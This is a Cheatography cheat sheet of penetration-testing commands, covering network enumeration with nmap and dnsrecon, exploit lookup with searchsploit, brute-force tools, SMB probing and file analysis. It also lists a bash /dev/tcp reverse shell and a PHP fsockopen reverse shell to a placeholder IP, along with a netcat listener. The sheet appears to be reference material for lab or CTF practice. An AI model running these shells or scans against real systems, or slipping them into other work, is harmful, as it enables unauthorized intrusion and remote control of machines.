Cheatography
https://cheatography.com
Basic networkingShow IP configuration ip a s | DNS lookup dig host-name.com | DNS Reverse lookup dig -x 10.10.10.12 | Lookup DNS entries for a host or ip nslookup google.com | IP for hostname host google.com |
Http DownloadUsing curl curl http://host:8080/file.sh - o output.sh | Using wget wget http://host:8080/file.sh |
EnumerationPortscan (first 10000 ports) nmap -sC -sV 10.10.10.12 | Portscan (all ports) nmap -p- -sV 10.10.10.12 | Portscan (UDP) nmap -sU 10.10.10.12 | Gobuster | Dirb | Wordpress enumeration | Website technology enumeration | DNS Enumeration dnsrecon -d google.com -n 10.10.10.12 | DNS Zonetransfer dnsrecon -t axfr -d zonetransfer.me | List subdomains sublist3r -d target-host.com |
Wordlists can be found at
/usr/share/wordlists/dirbuster/ | | Find target in networkReadout ARP cache ip neigh | Nmap Host Discovery nmap -sn 10.10.10.0/24 | TCP scan nmap -Pn 10.10.10.0/24 |
Serving own dataPython2 Webserver (current folder) python -m SimpleHTTPServer 8080 | Python3 Webserver (current folder) python3 -m http.server 8080 | Listen on port nc -lvnp 8080 |
Exploit DBSearch for exploit searchsploit apache | View exploit searchsploit -x path/to/exploit | Copy exploit to current directory searchsploit -m path/to/exploit |
Brute forcingBruteforce websites (e.g. login) hydra | Bruteforce website paths wfuzz | Crack files john |
Check each man-page to find the detailed command parameters Server Message Block (SMB)SMB enumeration tool smbmap -H 10.10.10.12 | SMB network browser smbtree | SMB Client smbclient //10.10.10.12/ |
| | Useful commandsChange directory cd folder | Create directory mkdir foldername | Delete file rm file.jpg | Delete folder rm -r folder | Search string in file grep pattern file.txt | Find file in a folder find /path -name "*.xml" | Edit file (vi) vi file.txt |
Reverse shellBash bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 | PHP $sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3"); |
Other webshells can be found at
/usr/share/webshells/ File analysisWhat is this file? file unknown.x | Is there something hidden? binwalk file.png | Extract hidden content binwalk -e file.png |
Encoding/DecodingText to base64 echo -n "text" | base64 | base64 to text echo -n "dGV4dA==" | base64 -d | hexeditor xxd |
|
Help Us Go Positive!
We offset our carbon usage with Ecologi. Click the link below to help us!
Created By
Metadata
Favourited By
Comments
No comments yet. Add yours below!
Add a Comment
Related Cheat Sheets